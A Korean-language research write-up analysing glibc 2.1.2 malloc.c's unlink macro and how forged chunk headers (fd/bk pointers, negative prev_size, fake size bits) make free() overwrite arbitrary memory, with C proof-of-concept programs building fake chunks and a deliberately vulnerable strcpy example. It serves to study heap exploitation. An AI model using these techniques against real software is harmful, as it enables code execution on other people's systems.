glibc-2.1.2/malloc/malloc.c src code 연구 분석 -- P.S: Phrack 57-9호에서는 exploit시, 세부적인 것에 대해 걱정하지 말라고 명시되어 있죠? 이 문서에서는 기존에 그러한 개념을 완전히 무시하고 있습니다. -_-; 결론적으로 기존에 논의되고 있는 heap free/malloc exploit method가 하나의 기법으로 자리잡기 위해서인지는 몰라도 정형화된 방법(그것도 일부)을 주 예제로 하여 exploit 증명에 사용하고 있습니다. 이러한 방식의 문서들이 점차 늘어나면서, 다양한 free/malloc exploit 방법에 관해 논의되지 못하는 것 같아, 가끔 속으론 서운한 마음이 들기도 합니다. --; 기존에 논의되었던 공격방법이 정형화 되기까지, 어떠한 과정에서 그런 method가 생긴 것인지 이번 기회에 확실히 집고 넘어가시길 바랍니다. :-} -- free() 함수로 할당된 메모리를 해제하는 경우, (void)fREe() 함수 수행 후, chunk_free(); 함수 순서대로 호출한다. chunk_free() 함수에서 호출되는 unlink (메모리 병합 매크로 함수)의 호출 횟수는 총 3회이다. 우선, malloc_chunk 구조체를 확인하자. ========================================================================================= struct malloc_chunk { size_t prev_size; size_t size; struct malloc_chunk *fd; struct malloc_chunk *bk; }; ========================================================================================= 먼저, unlink 매크로 함수의 역할에 대해 알아보도록 하겠다. ========================================================================================= ... #define unlink(P, BK, FD) \ { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ } ... ========================================================================================= unlink 매크로 함수는 이전 chunk 또는, 다음 chunk와의 병합을 이루어주는 역할을 한다. 먼저, fd, bk 값 조작 시, retloc address와 shell address 값이 들어가는데 다음과 같이 순서를 변경하여 대입해도 상관없다. 만약, fd에 shellcode 주소 넣고, bk에 덮어씌울 주소 - 8 했을 경우, ========================================================================================= P: 0x80497c8 (chunk 값) BK: 0x80481e0 FD: 0x4000a610 P->bk:0x8049505 (chunk->bk 값) BK: 0x80481e0 after BK: 0x8049505 (bk - 8해준 값) P->fd: 0xbffffb98 (chunk->fd 값) FD: 0x4000a610 after FD: 0xbffffb98 (fd 값) ## 여기서 부터 본격적인 overwrite 부분: ## bk는 위치적으로 +12에 존재하고 fd는 +8에 존재한다. (위의 malloc_chunk 구조체 참조) FD->bk: 0x90909090 (+12의 위치에 chunk->bk 값이 덮어쓰임) after FD->bk: 0x8049505 (chunk->bk 값) BK->fd: 0xb04006d1 (+8의 위치에 chunk->fd 값이 덮어쓰임) after BK->fd: 0xbffffb98 (chunk->fd 값) Segmentation fault (결과) ========================================================================================= P가 next chunk 일 경우. 먼저, next->bk는 백워드 포인터인데, BK에 대입된다. (BK = P->bk); 그 다음, next->fd는 포워드 포인터인데, FD에 대입된다. (FD = P->fd); 결론적으로, FD->bk (쉘코드 주소 + 12)에 덮어씌운 주소가 복사됨. BK->fd (덮어씌울 주소 + 8)에 쉘코드 주소가 복사됨. 만약, fd에 덮어씌울 주소 - 12 넣고, bk에 쉘코드 주소 넣었을 일반적인 경우, ========================================================================================= P: 0x80497c8 (chunk 값) BK: 0x80481e0 FD: 0x4000a610 P->bk: 0xbffffb98 (chunk->bk 값) BK: 0x80481e0 after BK: 0xbffffb98 (bk 값) P->fd: 0x80494f8 (chunk->fd 값) FD: 0x4000a610 after FD: 0x80494f8 (fd - 12해준 값) ## 여기서 부터 본격적인 overwrite 부분: ## bk는 위치적으로 +12에 존재하고 fd는 +8에 존재한다. (위의 malloc_chunk 구조체 참조) FD->bk: 0x8048346 (+12의 위치에 chunk->bk 값이 덮어쓰임) after FD->bk: 0xbffffb98 (chunk->bk 값) BK->fd:0x90909090 (+8의 위치에 chunk->fd 값이 덮어쓰임) after BK->fd:0x80494f8 (chunk->fd 값) Segmentation fault (결과) ========================================================================================= P가 next chunk 일 경우, 먼저, next->bk는 백워드 포인터인데, BK에 대입된다. (BK = P->bk); 그 다음, next->fd 포워드 포인터는 FD에 대입된다. (FD = P->fd); 결론적으로, FD->bk (덮어씌울 주소 + 12)에 쉘코드 주소가 들어감. BK->fd (쉘코드 주소 + 8)에 덮어씌운 주소가 들어감. 결국, 원하는 위치에 공격자의 address를 넣고 unlink() 매크로 함수를 부르면 목적이 달성된다. 위와 같은 병합 방식을 갖기까지, 공격자가 원하는 값이 잘 더해지려면, unlink() 함수를 호출하기 위한 조건을 갖추어야 한다. 첫번째로 등장하는 unlink 함수는 공격자가 원하는 조작이 가능하지 않다. ========================================================================================= ... if (next == top(ar_ptr)) /* merge with top */ { sz += nextsz; if (!(hd & PREV_INUSE)) /* consolidate backward */ { prevsz = p->prev_size; p = chunk_at_offset(p, -prevsz); sz += prevsz; unlink(p, bck, fwd); // 첫번째 unlink } ... ========================================================================================= 두번째 호출되는 unlink() 매크로 함수는 prev_size 값과 깊은 관계가 있다. 두번째 unlink() 매크로를 사용하면, exploit이 가능하므로, 좀 더 자세히 살펴보도록 하겠다. ========================================================================================= ... if (!(hd & PREV_INUSE)) /* consolidate backward */ { // // 먼저 hd & 0x1 문법은 결과가 0이어야 한다. (or, NULL) // 그 후, if문 안의 문법이 실행된다. // prevsz = p->prev_size; // // prevsz는 chunk의 prev_size 값을 가진다. // p = chunk_at_offset(p, -prevsz); // // p = (struct malloc_chunk *)((char *)p - p->prev_size); // 잘 살펴보면, 현재 p에서 chunk prev_size만큼을 이전으로 이동한다. // 결국에는 p->prev_size를 뺀 chunk pointer 위치로 이동. // sz += prevsz; // // p->fd는 last_remainder() 함수의 결과값과 달라야 한다. // 결론적으로 unlink() 매크로가 수행된다. // if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else { unlink(p, bck, fwd); // 두번째 unlink 매크로 } } ... ========================================================================================= 이런 경우는 어떤 방식에서 발생하는 지 살펴보고, 시험해보도록 하자. 먼저, hd 값 즉, 현재 chunk의 size 값이 & 0x1 대입식과 만났을때, 조건문의 결과는 거짓이 되야 한다. (그래야 if(!(p->size & 0x1))을 거쳐 두번째 unlink()를 수행할 수 있다.) p->size 값을 20으로 설정해주면, 두번째 unlink를 위한 if 문법에 진입할 수 있다. 다음 시험 예제 코드를 보면, ========================================================================================= int main() { char *m=(char *)malloc(16); char *p=(char *)malloc(16); int i=0; // 16byte *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; // 이 부분부터 두번째 chunk 관리 정보. *(long*)&m[i]=0;i+=4; // prev_size *(long*)&m[i]=20;i+=4; // size // 이 부분부터 chunk data 시작. *(long*)&m[i]=0x08049603-12;i+=4; // fd *(long*)&m[i]=0xc8c8c8c8;i+=4; // bk free(p); // free를 행하는 p pointer는 chunk size 다음 부분인 // 0x08049603-12부터 시작한다. } ========================================================================================= 잘 살펴보면, p->prev_size는 0이고 p->size는 20인 것을 알 수 있다. p->fd는 0x08049603-12 값이고, p->bk는 0xc8c8c8c8 값이다. 자, 그럼 위 값을 대입해서 src code 수행 과정을 살펴보자. ========================================================================================= ... if (!(20 & 0x1)) /* consolidate backward */ // // if 문법으로 진입 성공. // { prevsz = p->prev_size; // 값은 0이다. p = chunk_at_offset(p, -prevsz); // // p = (struct malloc_chunk *)((char *)p - p->prev_size); // p의 값에서 0을 빼면, 값을 그대로 유지한다. // sz += prevsz; // // 수행 결과 p->fd는 0x80495f7 (0x08049603-12)이고 last_remainder() 함수의 // return 값과는 다르게 나온다. // 결국, 두번째 unlink() 매크로 함수가 수행된다. // if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else { // // p는, (p - p->prev_size) 공식을 가지고 있다. // unlink(p, bck, fwd); // 두번째 unlink 매크로 } } ... ========================================================================================= 위의 code는 NULL '\0' 입력을 허용하였으므로, 가능한 예제이지만, 실제 exploit시에는 사용이 거의 불가능하다. 그래서 p->prev_size를 음수로 넣는 방법을 이용한다. 예를 들면, 음수 -1(0xffffffff)을 입력하였을 때, p-(-1)이므로, p+1의 공식이 되고, p->fd와 p->bk의 align 값을 1byte씩 밀어주어서 정확한 address에 병합을 수행할 수 있도록 한다. 그래서 code를 다음과 같이 수정할 수 있다. hd(현재 chunk size)의 값은 음수로 설정해도 상관없이 잘 수행된다. (하위 비트는 항상 0이어야 하는 것을 명심하라) if 문법으로 진입이 성공하였을 때, 공격자는 원하는 주소값을 덮어쓸 수 있게 된다. ========================================================================================= ... // 16byte *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; // 이 부분부터 두번째 chunk 관리 정보. *(long*)&m[i]=0xffffffff;i+=4; // prev_size: -1 *(long*)&m[i]=0xfffffff0;i+=4; // size: 최하위 비트가 0으로 맞춰져야 함. // 이 부분부터 chunk data 시작. m[i++]=0x82; // align을 맞추기 위해 1byte를 사용함. *(long*)&m[i]=0x08049603-12;i+=4; *(long*)&m[i]=0xc8c8c8c8;i+=4; ... ========================================================================================= 자, 잘 살펴보면, hd의 값은 -16이며, 하위 비트는 0이다. 그래서 if 문법으로 진입할 수 있다. 그 다음 prev_size 값 0xffffffff(-1)이다. 결과적으로, p-(-1) 문법을 수행하는데 p pointer에 +1을 더하는 결과가 된다. 0x82 값, 총 1byte를 dummy로 넣어주었기 때문에 결국, p+1->fd와 p+1->bk는 정상적으로 병합될 수 있다. 뭐... 0xffffffff 대신에 0xfffffffc (-4) 값을 넣어주어도 상관없다. 그럼, 이번엔 이렇게 수정해보도록 하자. ========================================================================================= ... // 16byte *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; // 이 부분부터 두번째 chunk 관리 정보. *(long*)&m[i]=0xfffffffc;i+=4; // prev_size: -4 *(long*)&m[i]=0xfffffff0;i+=4; // size: 최하위 비트가 0으로 맞춰져야 함. // 이 부분부터 chunk data 시작. *(long*)&m[i]=0x82828282;i+=4; /* dummy */ *(long*)&m[i]=0x08049603-12;i+=4; *(long*)&m[i]=0xc8c8c8c8;i+=4; ... ========================================================================================= p-(-4)의 결과, p+4->fd와 p+4->bk 위치를 만족할 수 있도록 조건을 만들어줘야 하기 때문에, 0x82828282 값, 총 4byte dummy를 더해주었다. 결론적으로, prev_size 값에 따라 안전한 unlink() 매크로 함수 병합 수행을 위해 chunk 내용 안에 dummy 값이 구성될 수 있다. 만약, prev_size 값이 -8일 경우에는 8byte가 dummy 값으로 들어가야 할 것이다. ========================================================================================= ... // 16byte *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; // 이 부분부터 두번째 chunk 관리 정보. *(long*)&m[i]=0xfffffff8;i+=4; // prev_size: -8 *(long*)&m[i]=0xfffffff0;i+=4; // size: 최하위 비트가 0으로 맞춰져야 함. // 이 부분부터 chunk data 시작. *(long*)&m[i]=0x82828282;i+=4; /* dummy */ *(long*)&m[i]=0x82828282;i+=4; /* dummy */ *(long*)&m[i]=0x08049603-12;i+=4; *(long*)&m[i]=0xc8c8c8c8;i+=4; ... ========================================================================================= 이해됐을 것으로 믿는다. :-) (exploit 시, 반드시 이해해야 하는 내용이므로, 숙지하기 바란다) 참고로 두번째 할당한 chunk pointer는 size 다음부터 시작된다고 이미 설명했다. /// chunk ptr 시작 /// *(long*)&m[i]=0x82828282;i+=4; /* dummy */ *(long*)&m[i]=0x82828282;i+=4; /* dummy */ *(long*)&m[i]=0x08049603-12;i+=4; *(long*)&m[i]=0xc8c8c8c8;i+=4; /// 끝 /// 두번째 unlink() 매크로 함수를 exploit에 사용하는 경우는 대부분 직접적으로 조작된 target chunk가 free 될때 발생한다. (이전 chunk와 병합 시) ([주의]: 이것은 절대 혼동하면 안된다. 세번째 unlink() 매크로 함수를 수행하는 것과는 엄연히 다른 방식이다. 이것은 나중에 또 설명할 것이다) 즉, ========================================================================================= int main(int argc,char *argv[]) { char *m=(char *)malloc(16); char *p=(char *)malloc(16); strcpy(m,argv[1]); free(p); } ========================================================================================= 이와 같은 식인데, m을 overflow 시켜서 chunk p를 조작하는 방법, 또는, p의 chunk 관리 정보만 수정할 수 있다면, free(p); 문법 실행에 의해 공격자는 두번째 unlink() 매크로 함수를 호출시킬 수 있는 것이다. 이번엔 3번째 unlink 매크로에 의해 exploit하는 경우를 분석해 보도록 하겠다. 본래, 위의 src code, free(p); 문법을 free(m); 문법으로 수정하여 free하면, 조작된 p chunk 정보를 참조하여 병합이 이루어지는데, 이것이 바로 3번째 unlink() 매크로 함수를 이용하는 방법이다. 두번째 if 문법을 무시 통과하면, 드디어 세번째 unlink를 만날 수 있는 if문에 도달하게 된다. ========================================================================================= ... if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ // // if(!(((struct malloc_chunk *)((char *)next+nextsz))->size & PREV_INUSE)) // { sz += nextsz; if (!islr && next->fd == last_remainder(ar_ptr)) /* re-insert last_remainder */ { islr = 1; link_last_remainder(ar_ptr, p); } else{ unlink(next, bck, fwd); // 마지막, 세번째 unlink 병합 부분. } ... ========================================================================================= 자, 먼저 next와 nextsz를 알기 위해 src code에서 처리 문법을 일부 살펴봐야 한다. 대강은 이렇다. ========================================================================================= ... sz = hd & ~PREV_INUSE; // hd는 p->size(현 chunk size)인데 & ~0x1하여, sz 값에 저장한다. next = chunk_at_offset(p, sz); // // next = (struct malloc_chunk *)((char *)p + sz); // 결국, next는 p + (p->size & ~0x1) 후에 위치하는 곳을 pointer 한다. // nextsz = chunksize(next); // // nextsz = next->size & ~(PREV_INUSE | IS_MMAPPED); // nextsz는 다음 chunk의 size인, "next->size & ~(0x1|0x2)"한 값을 갖게된다. // ... ========================================================================================= next는 분명 다음 chunk를 가리키고 있다. nextsz는 next->size이므로, 다음 chunk 관리 정보로 저장된 설정 값을 저장한다. 만약 공격자가 다음 chunk의 내용을 조작할 수 있다면, nextsz를 조작할 수 있으며, nextsz를 조작할 수 있다는 이야기는 위에서 분석한 세번째 unlink를 만날 수 있다는 이야기가 된다. 잘 살펴보면, ... if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ // // if(!(((struct malloc_chunk *)((char *)next+nextsz))->size & PREV_INUSE)) // 이 부분은 ((next+nextsz)->size & 0x1) 값을 비교하였을 때, 결과 값이 거짓인 것을 찾는다. char *m=(char *)malloc(16); char *p=(char *)malloc(20); char *z=(char *)malloc(90); 만약 첫번째 chunk ptr 변수 m을 따진다면, next=m+(m->size&~0x1); 이고, next->size&~(0x1|0x2) 부분, 즉, nextsz 값은 두번째 chunk ptr변수 p의 size&~(0x1|0x2)일 것이다. 그런데 여기서 (next+nextsz)->size 값을 처리하므로, 다음 chunk의 size가 아닌, 또, 그 다음 chunk size를 얻게 된다. 즉, 세번째 chunk 관리 정보 (size)를 얻는 것이다. 예를 들면, 첫번째 chunk_free() 인자(argument), p의 위치가 0x80499f8 일때, +24 (sz)를 더하여 next의 위치 0x8049a10를 구한다. 그 후, +24(nextsz) 역시 next의 위치에 더해진다. 그러면, next의 총 위치는 0x8049a28 주소값이 나온다. 0x08049a28은 next->prev_size 이므로, next->size의 주소는 0x08049a2c 주소값일 것이다. 결론적으로 0x08049a2c 주소에 있는 값은 세번째 chunk 관리 정보의 size인, 0x61(97)이다. 이제 방식을 알았으니, exploit을 해보도록 하자. 만약 next가 0x8049a18라면, nextsz 값을 음수(-4)로 넣었을 경우, prev_size는 0x8049a14가 되며, size는 0x8049a18이 된다. 다음 예제는 exploit 구조를 나타내 본 것이다. ========================================================================================= 0x08049a08 82 82 82 82 82 82 82 82 82 82 82 82 41 41 41 41 ............AAAA 0x08049a18 fc ff ff ff f8 ff ff ff cc 97 04 08 98 fb ff bf ................ ========================================================================================= 여기서, 음수 값을 -8(0xfffffff8)로 넣었다. 그렇게 되면, 0x08049a10은 prev_size의 위치이며, size는 0x08049a14가 된다. 그런데 size(0x41414141)의 하위 비트가 0이 아니므로, "if(!(((struct malloc_chunk *)((char *)next+nextsz))->size & PREV_INUSE))" 조건문을 수행시, 거짓이 된다. 결국, if 문법안의 내용은 진행되지 않는다. 위의 조건문 수행을 성공해야 3번째 unlink() 매크로 함수를 부를 수 있으므로, size 값을 0x41414142 값으로 수정하자. 이렇게 하면, 하위비트는 0으로 맞추어진다. 결국, if 문법안의 내용은 성공적으로 진행된다. :-D 여전히 next pointer는 0x8049a18이므로, prev_size 값을 지나, size 값을 지나면, (총 8byte 뒤) 0x8049a20부터 next->fd가 위치하게 되고, 0x8049a24에 next->bk가 위치한다. 이제 성공적으로 3번째 unlink() 매크로 함수를 수행할 수 있게 된다. :-} *************************************************************************************************** 자, 결론을 짓자면, 2번째 unlink() 매크로 함수를 수행하는 exploit 방법은 Heap off-by-one을 공략할 때 유용하게 쓰일 수 있다. 이 method는 기준이 되는 chunk로 부터 이전 chunk와의 병합을 이용하는 방법이라 할 수 있다. 반대로 3번째 unlink() 매크로 함수를 수행하는 exploit 방법은 전형적이고 대표적인 free/malloc exploit method이며, (phrack에서 기사 앞부분에 설명) 기준이 되는 chunk로 부터 다음 chunk와의 병합을 이용하는 방법이라 할 수 있다. *************************************************************************************************** ※ 덧붙이는 말: malloc에 관해 연구 중인 newbie들을 위해. :-} [Q:궁금] size 값의 하위 비트는 0이어야 한다고 하는데 대체 왜? exploit에서는 0xffffffff을 사용하는 건가요?? [A:답변] 이미 위의 내용 과정을 읽어봤다면, 잘 알겠지만, 우선 size는 하위 비트가 0인 값을 지정하는 역할을 합니다. 예를 들어 size 자리에 0xffffffff를 넣었다면, -1인데 (물론, 하위 비트는 0이 아님) malloc 문법을 거칠 때 약간의 비트연산에 의해 값이 변경됩니다. (nextsz = chunksize(next);) 다음 예제를 보세요. 0xffffffff&~(0x1|0x2); 비트연산을 공부했다면, 다들 잘 아는 예제일 것입니다. 결과 값은 -4입니다. 결국, next ptr-4가 prev_size가 될 것이고, size는 입력한 0xffffffff 값의 바로 이전 4byte가 될 것입니다. 만약 0xfffffffc, 0xffffffff 순서 방식대로 구성해주었다면, 0xfffffffc의 하위 비트가 0이므로, unlink 매크로 함수는 수행됩니다. 다음 if문을 거칠텐데요. main(int argc,char *argv[]) { if(!(0xfffffffc&0x1)){ printf("OK\n"); } } ... 실제 해당 코드 부분: if (!(inuse_bit_at_offset(next, nextsz))) ... 네, 0xfffffffc은 결국 if 문법을 성공적으로 수행합니다. 이때, 0xffffffff 값이 위치한다면, if 문법을 수행하지 못하겠지요. 하위비트가 0이 아니므로. :-) 자, 여기서 분명히 구분해야 할 사항이 있습니다. 바로, next 포인터에 nextsz가 더해질 때의 내용입니다. 멍청한 free() 함수는 nextsz 값을 믿고 있기 때문에, 공격자에 의해 nextsz 값이 조작 되었더라도 그 값을 신뢰하여 가짜 size 값을 검사하게 됩니다. next pointer -> fd, next pointer -> bk와는 상관 없습니다. 그 이유는 "(next+nextsz)->size&PREV_INUSE" 라는 멍청한 검사 문법만 넘기면 되기 때문이죠 ;-D 아차, 또 주의할 점이 있습니다. 이미 설명드렸듯이 unlink() 매크로 호출 조건이나 위치에 따라 앞,뒤 chunk의 병합 방법도 틀려집니다. 상황에 맞는 유용한 exploit 방법을 써먹으면 되겠지만, 다음 chunk를 의지해서 세번째 unlink()를 부르는 exploit 방법에서는 prev_size가 그리 중요한 역할을 하지 않습니다. 다만, 이전 chunk와 병합하는 exploit method에서는 prev_size가 매우 중요한 역할을 하므로, 주의해야 합니다. (size 하위 비트만 0이면, 그 다음 진행과정으로 prev_size 값을 의존해서 fd,bk를 병합하기 때문에) 반면에 exploit 시, next chunk, nextsz 값들과는 무관합니다. (그러나, 3번째 unlink() 매크로 함수에 중복되어 걸리지 않도록 처리해주면 좋겠죠.)